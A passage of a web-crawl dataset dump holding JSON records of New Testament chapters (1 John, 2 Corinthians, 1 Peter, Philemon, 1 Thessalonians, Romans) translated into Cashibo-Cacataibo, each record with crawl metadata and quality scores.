Usa 'aínbi cananuna axa 'icësaribiti ñu 'atima 'ati sináncëma 'ianan Nucën Papa Diosbë upí 'aish, axa ami catamëcë unicamabëribi upiti nuibananin. Usaínu 'ia ca an, aín Bëchicë Jesucristo aín imi 'apati bama cupí, uisa ñu 'ai caranuna 'uchai, abi nu tërë́nxunia.\n8 —'Ëx cana 'uchañuma 'ai —qui cananuna nuxbi cëmëin. Usa 'ain ca nun bana asérabima 'icën. 9 Usa 'aínbi cananuna 'unánti 'ain, nun nu nun 'uchacama chiquinaxuncëxun ca Nucën Papa Diosan, ax upí 'ixun ax quicësabi oquin 'aquin, nun 'uchacama nu tërë́nxunquin upí 'inun nu 'imiti 'icën. 10 Nucën Papa Diosan bana ca quia —camabi unin ca ñu 'atima 'aia —quiax. Usaía quicë 'aínbi —'ën cana ñu 'atima 'acëma 'ai —qui cananuna —Nucën Papa Diosan bana ca cëmë 'icë —quicësa 'ain. Usai quicë 'ixun cananuna, asérabi ca aín bana 'icë quixun sinaniman.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/1JN01.htm","date":"2021-12-02T19:28:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00377.warc.gz","language":"cbr","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000076293945312}","num_words":338,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËN CORINTONU 'ICË UNICAMA BUÁNMITËCËAN QUIRICA\n1\nCorintonuaxa ax Jesucristomi catamëcë unicama Pablonën quirica cuënëoxuan\n1 'Ëx Pablo 'ixun cana mitsu quirica buánmin, camina biti 'ain. Nucën Papa Dios cuëëncësabi oquin ca Jesucristonën 'ën a ñuiquin aín bana uni ñuixunun 'ë caísacëxa. An caísa 'ixun cana Timoteobëtan mitsu quirica buánmin. Axribi Jesúsmi catamëcë 'aish ca nun xucën 'icën. Mitsúxmi Corinto ëmanu 'icë axa Jesucristomi catamëcë unicama 'imainun Acaya menu 'icëcama axa Jesucristo cupí Nucën Papa Diosan iscëx upí 'icë, micama cananuna ënë quirica buánmin. 2 Usa 'aínmi Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristonën nuibacëx chuámarua bucucanti cana cuëënin.\nTëmëraiabi ca Nucën Papa Diosan nu 'aquinia quixuan Pablonën ca\n3 Nucën Papa Dios ax ca Nucën 'Ibu Jesucristo aín Dios 'ianan aín Papa 'icën. Camabi unin ca a rabiti 'icën. Ax ca Nucën Papa Dios 'icën. Ax ca an nuibaquin upí 'inun nu 'imianan nu masá nuitutiabi upí oquin sinánmiti, a 'icën. 4 Uisa ñu cara 'ia 'icëbënu a cupí tëmërai masá nuitutiabi ca Nucën Papa Diosan upí oquinu sinánun nu 'imia. An nu usaquin 'imicë cupí cananuna bëtsi uni nux 'icësaribitia tëmërai masá nuitutiabi, 'ë 'aquincësaribi oquin ca Nucën Papa Diosan mi 'aquinti 'icë quixun caquin 'aquinti 'ain. Usaquinu uni itsi 'aquinun ca Nucën Papa Diosan nuxnu masá nuitutiabi upí oquinu sinánun nu 'imia. 5 Jesucristonan cupí cananuna axa tëmërasaribi oi 'aisamairai tëmërain. Usa 'icëbi ca Nucën Papa Diosan, nuxnu Jesucristonan cupí, upíira oquin nu 'aquinia. 6 Mitsúnmi —Nucën Papa Diosan ca nu nuibatia —quixun 'unánan Jesucristomi catamëti mitsun 'ucha tërë́ncë 'aish aín uni 'inun cananuna tëmëraquinbi aín bana mitsu ñuixuan. Mitsúnmi Nucën Papa Diosan ca mitsu tëmëraíbimi cuëënun 'imiti 'icë quixun 'unánun ca an nuxnu tëmëraquinbi tanshiti cuëënun nu 'imia. Usaquin 'unánquin camina mitsun nux 'icësaribiti tëmëraquinbi Jesucristomi catamëti ënquinma tanshiti 'ain. 7 Cananuna 'unanin, nux 'icësaribiti mitsux masá nuituti tëmëraibi camina Nucën Papa Diosan upí oquin sinánmicë 'ain. Usa 'ain cananuna, uisa ñu cara 'icëbëbi camina Jesucristomi catamëquin ënima quixun sinani, masá nuitutíma cuëënin.\n8 'Ën xucë́antu, mitsúnmi 'unánun cana mitsu cain, Asia menuxun 'aisamaira oquin tëmëraquin cananuna sinan, cananuna tënëtima 'ai quixun. Usa 'ain cananuna bamati sinan. 9 Asérabi cananuna bamai quixun cananuna sinan. A ñucamax ca ësaquin nun sinánun 'iaxa: Nuxbi cananuna ië́tima 'ain, Nucën Papa Dios, an uni bamacëbi baísquimiti, ainshi ca nu ië́miti 'icë quixun. 10-11 Nuxnu bamati 'icëbi ca Nucën Papa Diosan nu ië́miaxa. Usa 'ixun ca usabi oquin nu 'ati 'icën. Cananuna 'unanin, mitsúnmi a nu ñucáxuncëxun ca an 'acësabi oquin nu ië́miti 'icën. 'Itsa unían a nu ñucáxuncëxuan, an nu ië́mianan nu 'aquincë cupí, nun upí oquin bana ñuixunia cuati ca ami sinánquin 'aisamaira unin cuëënquin, asábi ca quixun caquin Nucën Papa Dios rabiti 'icën.\nI. —ASERABIA NUCËN PAPA DIOSAN CAISCË 'IXUN CANA BANA ÑUIXUNI —QUIXUAN PABLONËN CA (1.12-7.16)\nUisa cupí cara Pablo Corintonu cuanma 'icë quicë bana\n12 Cananuna asérabi 'unanin, Nucën Papa Diosan 'imicëx nun nuitu upí 'ixun cananuna unicama paránquinma ñu upíshi 'a quixun. Unicaman ca usaínu 'ia nu isaxa. Uni itsían nu iscësamaira oquin camina usaínu 'ia mitsun nu isacën. Usaquin sinani cananuna cuëëinra cuëënin. Nunbi unin sináncësa oquin sinani cananuna usai 'icëma 'ain. Nucën Papa Diosan nu nuibaquin 'aquincëxëshi cananuna usai 'ian. 13-14 Nun cananuna mitsúnmi ënë bana cuaisama oquin 'axun mitsu paránuxun quirica buánmicëma 'ain. Nucën 'Ibu Jesús ucëbëmi mitsux abë 'icë isi cananuna —nun bana ñuixuan cupí ca atux Jesucristobë 'icë —quixun sinani cuëëinra cuëënti 'ain. Nux cuëëncësaribi oi camina, —Pablobëtan ca abë 'icë unicaman nu 'unánmiacëxa —quixun sinani, nu nuibati cuëënti 'ain. Usai ca 'iti 'icë quixun 'unánquinmi mitsun upíira oquin 'unánti cana cuëënin.\n15 Mitsúxmi usai nubë cuëënti 'unánx cana mitsu isi rabëti cuanti sinan, mitsúxmi nubë isanani cuëënun. 16 Macedonia menu cuanquin mitsu isbiantancëxun Macedonia menuax utëcënquinribi mitsu isti cana sinan. Anu 'icëmi Judea menu cuanun mitsun 'ë 'aquinti cana sinan. 17 ¿Sinánxunmaishi carana usaquin mitsu can? Jesucristonanma unix ca —cana 'atima 'ai —quixun 'unanibi —cana 'ati 'ai —quia. ¿Mitsúnmi sináncëx carana 'ëx usa uni 'ain? 18 Usama cananuna nux 'ain. Nucën Papa Diosan ca 'unania, nux —cananuna cuanti 'ai —quiquin cananuna —asérabi cananuna cuanti 'ai —quixun sinan. 19 Nucën Papa Diosan Bëchicë Jesucristo, a 'ëbëtan Silvano 'imainun Timoteonën mitsu ñuixuncë, an ca —cana 'atima 'ai —quixun 'unánquinbi —cana 'ati 'ai —quixun uni cáma 'icën. An ca axa quicësabi oquin 'aia. 20 Nucën Papa Dios quicësabi oi ca camabi ñu Cristo Jesús cupí sënë́oncë 'iti 'icën. Usaquin 'unánquin cananuna Jesucristo cupí, aín bana cuaquin —ca usai 'iti 'icë —quixun Nucën Papa Dios rabin. 21 Nucën Papa Dios ax ca an micama 'acësaribi oquin nuribi Cristomi catamëcë 'aish ax cuëëncësabi oi 'inun 'imicë a 'icën. 'Imianan ca nuxnu asérabi ainan 'inun nu 'imiacëxa. 22 Nux ainan 'aish cananuna xënibua 'aínbi abë 'iti 'ai quixunu 'unánun ca Nucën Papa Diosan aín Bëru Ñunshin Upí nubëa 'inun nu 'ináncëxa.\n23 Nucën Papa Diosan ca 'ën nuitu mëu 'ën ësaquin sináncë 'unania, mitsu nuibaquin mitsúxmi upí 'icë isti cuëëni cana mitsu isi cuanti sinanibi cuancëma pain 'ain. Nucën Papa Diosan ca 'unania, usa ca quixun. 24 Jesucristomi upiti sinani camina mitsux ami cushicë 'ain. Mitsúxmi usai 'ia cananuna nun cacësa oími 'inun mitsu caiman. Jesucristomi upiti catamëcë 'aíshmi chuámashirua tani cuëëni upitax bucunun quixuinshi cananuna mitsu 'aquinsa tanin.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/2CO01.htm","date":"2021-12-02T18:18:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00418.warc.gz","language":"cbr","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"cbr_Latn_score\": 0.9999982118606567}","num_words":840,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PEDRONËAN A PAIN BUÁNMIA QUIRICA\n1\nAxa bëtsi bëtsi menuax Jesucristomi catamëcë unicama Pedronën quirica cuënëoxuan\n1 'Ëx cana Pedro, aín bana unicama ñuixunuan Jesucristonën caísa 'ain. Mitsun nëtënuax bëtsi bëtsi menu tsóti cuan 'aíshmi Ponto, Galacia, Capadocia, Asia, Bitinia, a nëtëcamanu 'icë cana ënë quirica mitsu buánmin. 2 An sinánsabi oquin ainan 'inun ca Nucën Papa Diosan mitsu caísacëxa. Aín Bëru Ñunshin Upitan 'imicëxmi ainanshi 'aish ax quicësabi oi 'inun mitsu 'imianan ca Jesucristo bama cupí mitsun 'uchacama tërë́nquin mitsun nuitu upí 'imiaxa. Usaími mitsux Nucën Papa Diosan nuibacëx 'icësamaira oi chuámarua 'aish bucucanti cana cuëënin.\nUsai 'itia unin ñuia\n3 Nucën Papa Dios, ax Nucën 'Ibu Jesucristonën Dios 'ianan aín Paparibi, a cananuna rabiti 'ain. An ca nu nuibaquin bamaxbia baísquia Jesucristo an nun 'uchacama tërë́ncëxnu bacë́ntëcëncësa 'aish, ainan 'inun nu 'imiaxa, ënë nëtënuax ainan 'aíshnu aín nëtënuribi 'inun. 4 Nucën Papa Diosan ca mitsúxmi aín nëtënu abë 'itioquin mëníocëxa. A nëtënuax ca uisa ñubi, ënë nëtënuax 'icësari chëquianan cëñútima 'icën, anu ca uisa 'uchabi 'aíma 'icën. Usabi ca xënibua 'aínbi 'iti 'icën. 5 A nëtënu 'iisama pain 'aíshmi ënë nëtënuaxbi ami catamëtia isquin ca Nucën Papa Diosan aín cushínmi ñu 'atima 'aíma upíshi 'inun mitsu bërúanquin 'aquinia, an mëníosabi oími Jesucristoa utëcëncëbë aín nëtënu abë tsónun.\n6 Acama sinani camina mitsux uisa ñu cara 'icëbëbi bënëtima cuëënin, ënë menu 'aish tëmëraibi. 7 Ënëx ca ësa 'icën. Asérabi cara curishi 'icë isnuxun ca unin curi tsi rëquirucënu xaroquin tania. Usaribiti camina mitsux caramina ami catamëcë 'ai quixun isnuxun Nucën Papa Diosan tancë 'iti 'ain. Curi 'aíshbi ca cëñúti 'icën. Usa 'aínbi camina tëmëraquinbi Nucën Papa Diosmi catamëquin ëncëma 'aish curisamaira 'iti 'ain. Usaquin tancëxbimi asérabi ami catamëti 'ain ca utëcënquin Jesucristonën —asérabi 'ënan 'aish camina 'ëbë 'aish cuëënti 'ai —quixun mitsu cati 'icën.\n8 A isúnmabi camina mitsun Jesucristo sinanin. Usa 'ain camina a isaxmabi ami sinani chuámarua tani cuëëinra cuëënin, anúnmi uisairai caramina cuëëni quixun nu ñuixunti bana 'aíma 'aínbi. 9 Ami catamëcë cupí ca mitsun 'uchacama tërë́ncë 'iananmi ainan 'inun Nucën Papa Diosan mitsu ië́miaxa.\n10 An Nucën Papa Dios quicë bana uni ñuixuncë unicaman ca —Nucën Papa Diosan ca aín 'uchacama tërë́anan uni ainan 'inun ië́miti 'icë —quixun cuënëoquinbi uisai quicë cara a bana 'icë quixun 'unánma 'icën. 'Unáncatsi quiax ñucacanánquin Nucën Papa Diosan bana amiribi amiribi isquinbi ca 'unánma 'icën. 11 Cristo ënë menu ucëma 'aínbi ca aín Bëru Ñunshin Upitan sinánmicë 'ixun, an Nucën Papa Dios quicë bana uni ñuixuncë unicaman 'unáncëxa, tëmërax bamatancëx baísquitancëx ca Cristo aín Papasaribi 'Apu 'aish abë tsóti 'icë quixun. Usaquin 'unánquin ca uisa uni cara Cristo 'iti 'icë quixun 'unántisa tanan uínsaran cara uti 'icë quixun 'unántisa tancëxa. 12 Usai Cristo 'itia Nucën Papa Diosan 'unánmicëxun ca atun isquinmabi, atun rëbúnqui 'ixun cananuna nun a ñucama isnuxun 'ai quixun 'unáncëxa. A bana Cristo ñui quicë, a ca a Nucën Papa Diosan naínua xucë aín Bëru Ñunshin Upitan 'amicëxun aín unicaman mitsu ñuixunia. A bana ca ángelcamanribi uisai quicë cara quixun cuaisa tania.\nJesucristomi catamëcë uníxa usai upí 'iti bana\n13 Usa 'ain camina Jesucristonan 'ixun upí oquin sinani ax quicësabi oi 'iti 'ain. 'Iquin camina Nucën Papa Diosan ca abëmi aín nëtënu 'iti mëníocëxa quixun sinani cuëënquin Jesucristo anun uti nëtë caínti 'ain. 14 Ainan 'ixun ax quicësabi oquinshi ñu 'aquin camina bëráma Jesucristomi catamëquin Nucën Papa Dios 'unáncëma 'ixunmi cuëë́an ñucama 'atëcëntima 'ain. 15 Nucën Papa Dios, an mitsu ainan 'inun Jesucristomi sinánmia, ax ca uisa 'uchañumabi 'icën. Usa 'ain camina mitsúnribi añu 'uchabi 'atima 'ain. 16 Ësai ca Nucën Papa Diosan bana cuënëo quia: \"'Ëx uisa 'uchañumabi 'aish upíira 'ain camina mitsúxribimi upíira 'inun uisa 'uchabi 'atima 'ain\".\n17 Nucën Papa Diosan ca camabi uni uisa ñu cara 'axa quixun isia. Usa 'ain camina mitsun —Nucën Papa Dios ax ca 'ën Papa 'icë —quixun sinani aín nëtënu 'inux ënë nëtënu pan 'iquin ñu 'atima 'atimi racuë́quin upí ñuishi 'ati 'ain. 18 Mitsun raran Jesucristomi sinánti 'unánma 'aínmi usaribi oquin sinaniabi ca Nucën Papa Diosan ainan 'inun ië́miquin mitsu Jesucristomi sinánmiaxa. Camina 'unanin, curi 'imainun curíqui 'imainun bëtsi ñucama axa cëñúti a cupíbi ca Nucën Papa Diosan mitsu ië́micëma 'icën. 19 Usama ca. Judíos unicaman aín 'ucha cupí uisaíbi 'icëma carnero aín upíira rëmia 'aínbi ca aín imi 'apati Cristo bamacë a cupí mitsun 'ucha tërë́nquin ainan 'inun Nucën Papa Diosan mitsu ië́miaxa. 20 Cristo ca usai 'iti 'icë quixun ca camabi ñu unioisama pain 'ixunbi Nucën Papa Diosan mëníocëxa. Usaquian mënío 'ain ca aín uti nëtë sënë́ncëbëishi usai 'inux Cristo ënë menu uacëxa, mitsúxmi ami catamënun. 21 Usa 'ain camina an Jesucristo bamacëbi baísquimitancëxun aín nëtënu abë 'inun 'imicë cupí ami sinanin, Nucën Papa Dios an ca asérabi ax quicësabi oquin mitsu 'imiti 'icë quixun 'unani.\n22 Aín Bëru Ñunshin Upitan 'imicëx Jesucristomi catamëti ax cuëëncësabi oi 'iquin axa mitsux 'icësaribiti Jesucristomi catamëcë unicamabë upiti nuibananuxun camina ñu 'atima 'ati ashiquin ëan. Usa 'aish camina bërí 'icësamaira oi asérabi cuëënquin upí oquinra sinani atubë nuibananti 'ain. 23 Unishi 'inuan aín titan tuacë 'aish ca uni bamaia. Usa 'aínbi ca axa xënibua 'aínbi usabi 'iti, aín bana a cuatia Nucën Papa Diosan mitsu bacë́ntëcëncësa 'imiaxa. 24 Nucën Papa Diosan bana cuënëo ca ësai quia:\nBasix ca upí 'itancëxbi chushia. Ro uax ca upíira 'itancëxbi tiriqui nëtëtia. Usaribiti ca camabi uni bamai aín upí nëtëtia. 25 Usa 'aínbi ca Nucën 'Ibu Diosan bana xënibua 'aínbi usabi 'ia.\nËnë banax ca —Jesucristomi catamëti ca uni Nucën Papa Diosnan 'iti 'icë —quixuan aín unicaman mitsu ñuixuncë a 'icën.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/1PE01.htm","date":"2021-12-02T19:16:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00490.warc.gz","language":"cbr","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000053644180298}","num_words":883,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN FILEMÓN BUÁNMIA QUIRICA\n1\nPablonëan Filemón quirica cuënëoxuan\n1 Filemón, 'ëx Pablo, Jesucristo ñuiquin uni bana ñuixuncë cupí sipuacë 'ixun, cana axribi Jesucristomi catamëcë 'aísha nucën xucën 'ain, Timoteobëtan mi quirica buánmin. Minribimi nubëtan Jesucristo ñuiquin bana ñuixuncë 'icë cananuna ënë quirica mi cuënëoxunin. 2 Usa 'ain cananuna axa Jesucristomi catamëcë 'aish min xubunu timë́cë unicama 'imainun nucën chirabacësa, Apia, 'imainun Arquipo, anribia nubëtan tëmëraquinbi Jesucristo ñuiquin uni bana ñuixuncë, acaman cuanun ënë quirica mi buánmin. 3 Mitsúxmi Nucën Papa Diosbëtan Nucën 'Ibu Jesucristonën nuibaquin 'aquincëx chuámarua 'iti cana cuëënin.\nAinan 'aish aín unicamabë nuibananan Filemón upiti Jesucristomi sinan\n4-5 Nucën Papa Diosbë banaquin cana camabi nëtë mi sinánquin a mi ñucáxunin. Ñucáxuanan cana, mitsux isamina Nucën 'Ibu Jesúsmi upiti sinani ami catamëti, aín unicamabë nuibananin quixun ñuicania cuaquin Nucën Papa Dios —asábi ca —caquin a rabin. 6 Mix Jesucristomi catamëquinmi ax cuëëncësabi oquin 'acë cupí, ca uni raírinëxribi ami catamëaxa. Acaman uisaira oquin cara Jesucristonën aín unicama 'aquinia quixun 'unánun cana aturibi Nucën Papa Dios ñucáxunin. 7 'Ën xucën, cana mi cain, axa anuax Jesucristomi catamëcë uni raírinëan masá nuitucë 'ixunbi minmi nuibaquin 'aquincëxun upí oquin sinania ñuia cuaquin cana cuëënquin upí oquin sinan.\nOnésimo binuan Pablonën Filemón ca\n8 Cristonëan 'ë aín bana ñuixunun 'imicë 'ixun, 'ëx cuëëncësabi oquinmi 'anun 'ën mi cati ca asábi 'icën. 9 Usa 'aínbi cana —'ë nuibaquinshi camina ëx cuëëncësabi oquin 'ati 'ai —quixun sinánquin mi cain. 'Ëx cana Pablo, caniacëcë uni 'aish, Cristo ñuiquin uni bana ñuixuncë cupí sipuacë 'ain. 10 Usa 'ixun cana Onésimo ñuiquin mi cain. Ënë sipunuxun 'ën aín bana ñuixuncëxun cuati ca Onésimo Jesucristomi catamëaxa. Ax bërí Jesucristonan 'aish ca 'ën bëchicësa 'icën.\n11 Bëráma ca Onésimo min ñu mëëmicë uni 'ixun 'aquinsa 'ixunbi mi 'aquincëma 'icën. Usa 'ixunbi ca bërí 'ëa 'aquincësaribi oquin miribi 'aquinti 'icën. 12 Minu cuantëcënun cana a xutin. 'Ën nuibairacë 'aish ca ax 'ën taná bëchicësa 'icën. Usa 'icë camina upí oquin biti 'ain. 13 Jesucristo ñuiquin uni bana ñuixuncë cupí sipuacë 'icëa, min 'aquiniamabi an ënuxun 'ë ñu 'axunun bërúnti cana sinan. 14 Usa 'ixunbi cana mi ñucácëma pain 'ixun a bërúncëma 'ain. 'Ëx cuëënquinbi, 'ën mi ñucácëxunmabimi mix cuëënquin a 'ë ñu 'amixunti cana sinanin. 15 Ënanantëcëntimoi mibë 'iti cupí sapi ca Onésimonën mi ëanxa. 16 Min ñu mëëmicë unishi 'iá 'aíshbi ca bërí Onésimo Jesucristomi catamëcë 'aish min xucë́nsa 'iti 'icën. 'Ën cana a nuibatin. Usa 'icëbi camina miinra 'ën 'acësamaira oquin a nuibati 'ain, min ëmanu 'icë cupishima, Jesucristomi catamëcë 'aísha min xucë́nsa 'icë.\n17 Usa 'ain camina —'ëx cana Pablobë nuibanancë 'ai —quixun sináncë 'ixun minmi 'ë bicësaribi oquin a biti 'ain. 18 An min ñu mëcamanan mi ribíncë 'ain camina 'ën mi a cupíonun 'ë cati 'ain. 19 'Ëx Pablo 'ixun cana 'ën mëcënanbi cuënëoquin mi cain, 'ën Jesucristo ñuiquin cacë cupí ainan 'ixunmi min 'ë cupíoti asábi 'aínbi cana Onésimonëan mi ribíncë a mi cupíoti 'ain. 20 Usa 'ain camina mix Jesucristonan 'aish 'ën xucë́nsa 'ixun, Jesucristomi catamëcë unin 'acësoquin upí oquin sinánquin, 'ëxribi ainan 'icë upí oquin sinani cuëënun 'ë 'imiti 'ain.\n21 'Ën cacësa oquinshi 'aquinma camina minbi 'ën mi cacësamaira oquin 'ati 'ai quixun sinánquin cana mi buánminuxun ënë quirica cuënëoin. 22 Nucën Papa Diosmi 'ë ñucáxuncëx cana mitsu isi cuanti 'ai quixun cana sinanin. Usa 'ain camina anu 'ëx 'i cuanti 'ë meníoxunti 'ain.\nUpí oquin sinánxunquian ashiquin Pablonën bërúanxa 'inun ca\n23 Epafrasnën ca 'ëcëñuan Jesucristonan cupí sipuacancë 'ixun bërúanxmi 'inun mi canun 'ë caxa. 24 'Imainun ca an ëbëtan bana uni ñuixuncë unicama Marcos, Aristarco, Demas, Lucas, acamanribi bërúanxmi 'inun mi canun quixun 'ë caxa.\n25 Nucën 'Ibu Jesucristonëan nuibaquin 'aquincëxmi min sinan upí 'aish chuámarua 'iti cana cuëënin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/PHM01.htm","date":"2021-12-02T19:10:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00537.warc.gz","language":"cbr","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000019073486328}","num_words":587,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.274,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN TESALONICANU 'ICË UNICAMA A PAIN BUÁNMIA QUIRICA\n1\nPablonëan abë 'icë unicamabëtan Tesalónicanuaxa ax Jesucristomi catamëcë unicama quirica cuënëoxuan\n1 'Ëx Pablo 'ixun cana Silvano 'imainun Timoteobëtan Tesalónica ëmanuaxmi Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristonan 'icë, mitsu ënë quirica buánmin. Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristonëan nuibaquin chuámarua 'aíshmi bucunun mitsu 'aquinti cananuna cuëënin.\nI. USAI CA AX 'IAXA QUIXUAN PABLONËN ÑUIA BANA (1.3-3.13)\nTesalónicanu 'icë unicaman ca upí oquin Jesucristo ñuicë bana cuatia quixuan Pablonën ca\n2 Mitsúxmi asérabi Nucën 'Ibu Jesucristomi cushicë 'ain cananuna camabi nëtën abë banaquin —asábi ca —quixun cain. 3 Nucën Papa Diosbë banaquin cananuna mitsúnmi amiira pain catamëquin ax cuëëncësabi oquin 'anan, upí oquin unicama nuibaquin 'aquianan, a ëníma, Nucën 'Ibu Jesucristonën ca ax quicësabi oquin nu 'imiti 'icë quixun manucëma cupí —asábi ca —quixun a cain. 4 Nun xucë́antu, asérabi ca Nucën Papa Diosan nuibaquin ainan 'inun mitsu caísaxa quixun cananuna 'unanin. 5 Jesucristomi catamëti ca uni Nucën Papa Diosnan 'iti 'icë quixun bana ñuixunquin cananuna nun cuëbitainshi banaquinma, aín Bëru Ñunshin Upitan nu sinánmicëx Nucën Papa Diosmi cushicë 'ixun aín bana mitsu ñuixuan. Nun ñuicë banax ca cëmëma 'aish asérabi 'icë quixun 'unáncë 'ixun cananuna upí oquin a bana mitsu ñuixuan. Mitsúxmi upí 'iti cupí cananuna mitsubë 'aish usai 'ia quixun camina 'unáncanin.\n6 Nux 'icësaribiti 'ianan Nucën 'Ibu Jesús 'iásaribiti tëmëraibi camina mitsux Jesucristo ñuicë bana cuati ainan 'aish Nucën Papa Diosan Bëru Ñunshin Upitan 'imicëx cuëëinra cuëëan. 7 Tëmëraibi usari 'i camina mitsux Macedonia menu 'icë 'imainun Acaya menu 'icë axa Jesucristomi catamëcë unicaman cuacëx upíira sinánñu 'ain. Usaími 'ia mitsu cuaquin ca —usai ca Jesucristonan unicama 'iti 'icë —quixun sináncania. 8 Usaími mitsux 'icëbëtan ca Macedonia 'imainun Acayanu 'icë unicamainshima, bëtsi bëtsi menu 'icë unicamanribi Jesucristo ñuicë bana 'unánan mitsúxmi asérabi Nucën Papa Diosnan 'icë cuaxa. Nun ñuixuncëxunmabi ca camabi unin, uni raírinëan camabi menuxun mitsu chanioia cuaquin, mitsux camina asérabi Nucën Papa Diosmi upiti catamëti quixun 'unania. 9 Usa 'ixun ca nun cacëxunmabi mitsúnmi nu upí oquin bicë a ñuia. Ñuianan ca mitsux ismina unínbia 'acë ñuishi rabia 'ixunbi a ënquin, axëshia Dios 'aish bamatimoi tsócë Nucën Papa Dios, ashi rabianan ax quicësabi oi 'i quixun ñuia. 10 Acama ñuianan ca mitsun camina Nucën Papa Diosan Bëchicë Jesús bamacëbia anbi baísquimia, axa naínuax uti caini quixunribi ñuia. Ax ca an Nucën Papa Diosan, uni aín 'ucha cupí castícancëbëtanbi, ainan 'icë nu ië́miti a 'icën.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/1TH01.htm","date":"2021-12-02T18:51:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00553.warc.gz","language":"cbr","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 0.9999970197677612}","num_words":387,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN ROMANU 'ICË UNICAMA BUÁNMIA QUIRICA\n1\nRomanu 'icë axa Jesucristomi catamëcë unicama Pablonën quirica buánmia\n1 'Ëx cana Pablo 'ain, an Jesucristo quiásabi oquin aín bana uni ñuixuncë. Usa 'ixun cana mitsu quirica buánmin. Nucën Papa Diosanbi ca Jesucristomi catamëquin ainan 'inux ië́nun unicama aín bana ñuixunun 'ë caísacëxa.\n2 Nucën Papa Diosan ca ainan 'inux ië́ti bana an sinánmicëxun aín bana uni ñuixuncë unicama bëráma cuënëomiacëxa. 3 A cuënëomia banax ca aín Bëchicë, Nucën 'Ibu Jesucristo ñui quicë 'icën. Aín 'unan papa ax ca Davidnën rëbúnqui 'iacëxa. 4 Usa 'icëbi ca bamatancëx baísquicë cupía, Nucën Papa Diosan Bëru Ñunshin Upitan 'amicëxun unin 'unánti 'icën, Nucën 'Ibu Jesucristo ax ca Nucën Papa Diosan Bëchicë 'ianan asaribi upí 'aish cushiira 'icë quixun. 5 Jesucristo cupí ca Nucën Papa Diosan nuibaquin nun nu uni aín bana ñuixunun mëníocëxa, camabi menua an Nucën 'Ibu Jesucristomi catamëquin an cacësabi oquin 'acë unicama 'inun. 6 Mitsúxribi camina Nucën Papa Diosan Jesucristonan 'inun caíscë 'ain.\n7 Ënë quirica cana cuënëoxunin, Roma ëmanuaxmi Nucën Papa Diosan nuibaquin ainan 'inun caíscë 'aish ax cuëëncësabi oi 'icë, micamaishi. Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristonën nuibaquin 'aquincëxmi chuámarua bucucanti cana cuëënin.\nRomanu cuantia Pablonën sinan\n8 Ësoquin pain cana mitsu cain, mitsux camina asérabi Jesucristomi catamëti quixun camabi menu 'icë unicaman chanioia cuaquin, cana 'ëxribi Jesucristonan 'ixun Nucën Papa Dios —asábi ca —quixun caquin a rabin. 9 'Ën cana Nucën Papa Dios cuëëncësabi oquin chiquíshquinma aín Bëchicë ñuiquin unicama bana ñuixunin. An ca 'unania, 'ën cana abë banaquin nëtë camabi mitsu ñucáxunin. 10 Mitsu ñucáxuanan cana a ñucatin, bëráma cuainsa taníbi cuancëma cupí, bërí mitsu isi cuanuan 'ë 'aquinun. 11 Mitsúxmi asérabiira Jesucristomi cushicë 'inun 'aquinuxun cana mitsu isi cuainsa tanin. 12 'Ëx Jesucristomi cushicë 'ixun 'aquincëxmi mitsúxribi ami cushicë 'ain mitsubë cushionani cuëënmiananux cana mitsu isi cuainsa tanin.\n13 'Ën xucë́antu, cuainsa taníbi cana cuancëma 'ain. 'Itsai cana mitsu isi cuainsa tan quixunmi 'unánti cana cuëënin. Mitsúxmi Jesucristomi catamënun, bëtsi menu 'icë unicama 'aquincësaribi oquin mitsu 'aquini cuainsa cana tan. 